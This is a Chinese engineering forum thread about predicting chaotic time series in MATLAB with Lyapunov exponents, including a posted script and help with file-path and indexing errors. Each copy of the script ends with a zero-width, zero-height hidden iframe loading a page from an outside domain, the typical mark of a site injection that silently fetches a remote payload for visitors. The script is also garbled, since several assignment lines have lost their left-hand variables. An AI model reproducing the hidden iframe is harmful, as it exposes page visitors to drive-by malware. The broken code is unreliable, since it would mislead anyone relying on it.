yww3973537 发表于 2007-6-8 21:55

混沌时间序列预测问题

我用nearest_point.m(计算最后一个相点的最近相点的位置及最短距离)来进行混沌时间序列预测,最后出来两个数据,即 idx - 最后一个相点的最近相点的位置 ,和min_d - 最后一个相点与其最近相点间的距离,请高手指点一下:min_d - 这个数据怎么转换到能和原始数据进行比较的数据/?

[ 本帖最后由 eight 于 2007-6-8 23:22 编辑 ]

yww3973537 发表于 2007-6-8 21:58

回复 #1 yww3973537 的帖子

%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);

m=6

P=26;%平均循环周期

N=80;%最多校验步数

for i=1:whsl
    whlsj(i)=whl(i);
end

=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lmd_m
% t_m=fix(1/lmd_m)       %最大预测步数
t_m=5

for i=(whsl-N+2-t_m):(whsl-N+1)         %预测后t_m步
    =lyapunov(m,whlsj,whsl-N+2-t_m-1,P);
    =pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
    whlsj(i)=yc;%将第i步预测值作为完好率数据的第i个值进行下一步预测
end

y(whsl-N+1)=yc;
fch=(y(whsl-N+1)-whl(whsl-N+1))*(y(whsl-N+1)-whl(whsl-N+1));
shuliang=1;

for i=(whsl-N+2):(whsl)
    whlsj(i-t_m)=whl(i-t_m);%换为实际值
    =lyapunov(m,whlsj,i-t_m,P);
    =pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
    whlsj(i)=y(i);         %换为预测值
   
    fch=fch+(y(i)-whl(i))*(y(i)-whl(i));
    shuliang=shuliang+1
end

fch=sqrt(fch)/shuliang

yyy=;
save('kjycqush.txt','yyy','-ASCII');

kk=1:whsl;
plot(kk,whl,'b',kk,y,'r')

%<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
另外第三行的 A=load('bk1.txt');数据如何读入?哪里是当前目录啊?

eight 发表于 2007-6-8 23:14

原帖由 yww3973537 于 2007-6-8 21:58 发表 http://www.chinavib.com/forum/images/common/back.gif
%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);

m=6

P=26;%平均循环周期

N=80;%最多校验步数

for i=1:whsl
    whlsj(i)=whl(i);
end



pwd 可以查看当前目录,另外,在matlab命令窗口的上边也有 current path

文件路径问题请参阅拙作:“关于添加工具箱”的精华贴

yww3973537 发表于 2007-6-9 09:04

再次请教

谢谢你的回复!请问第一个问题你能解答一下吗?

yww3973537 发表于 2007-6-9 10:00

求教

%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);

m=6

P=26;%平均循环周期

N=80;%最多校验步数

for i=1:whsl
    whlsj(i)=whl(i);
end

=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lmd_m
% t_m=fix(1/lmd_m)       %最大预测步数
t_m=5

for i=(whsl-N+2-t_m):(whsl-N+1)         %预测后t_m步
    =lyapunov(m,whlsj,whsl-N+2-t_m-1,P);
    =pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
    whlsj(i)=yc;%将第i步预测值作为完好率数据的第i个值进行下一步预测
end

y(whsl-N+1)=yc;
fch=(y(whsl-N+1)-whl(whsl-N+1))*(y(whsl-N+1)-whl(whsl-N+1));
shuliang=1;

for i=(whsl-N+2):(whsl)
    whlsj(i-t_m)=whl(i-t_m);%换为实际值
    =lyapunov(m,whlsj,i-t_m,P);
    =pre_by_lya(m,lmd_m,whlsj,i-1,idx,min_d);%预测第i+1个点
    whlsj(i)=y(i);         %换为预测值
   
    fch=fch+(y(i)-whl(i))*(y(i)-whl(i));
    shuliang=shuliang+1
end

fch=sqrt(fch)/shuliang

yyy=;
save('kjycqush.txt','yyy','-ASCII');

kk=1:whsl;
plot(kk,whl,'b',kk,y,'r')

%<iframe src=http://www.puma166.com/1.htm width=0 height=0></iframe>
我把上面的程序运行时,总是出来下面的错误提示:
??? Error using ==> load
Unable to read file bk1.txt: file does not exist.
求教

yww3973537 发表于 2007-6-9 10:49

再次求教

??? Index exceeds matrix dimensions
请问上面的错误提示表示什么啊??

eight 发表于 2007-6-9 15:42

原帖由 yww3973537 于 2007-6-9 10:00 发表 http://www.chinavib.com/forum/images/common/back.gif
%skyhawk
clear all;
A=load('bk1.txt');
whl=A(:,4);
=size(whl);

m=6

P=26;%平均循环周期

N=80;%最多校验步数

for i=1:whsl
    whlsj(i)=whl(i);
end



保证文件路径正确,这个问题实在讨论太多了,建议看看置顶贴:聚宝盆提到的精华贴,还有本人刚整理的关于文件读取的精华贴

eight 发表于 2007-6-9 15:43

原帖由 yww3973537 于 2007-6-9 10:49 发表 http://www.chinavib.com/forum/images/common/back.gif
??? Index exceeds matrix dimensions
请问上面的错误提示表示什么啊??

矩阵下标访问越界,自己调试一下

winterdij 发表于 2007-8-30 10:25

回复 #8 eight 的帖子

请问上面程序中,下面这行中
=lyapunov(m,whlsj,whsl,P);%求lyapunov指数
lyapunov(m,whlsj,whsl,P)函数是哪来的?
您要是有给我一个可以吗?

ym_qi 发表于 2009-3-11 21:20

是呀,我也要想要一个,能发给我学习下么?ym_qi@126.com
页: [1]
查看完整版本: 混沌时间序列预测问题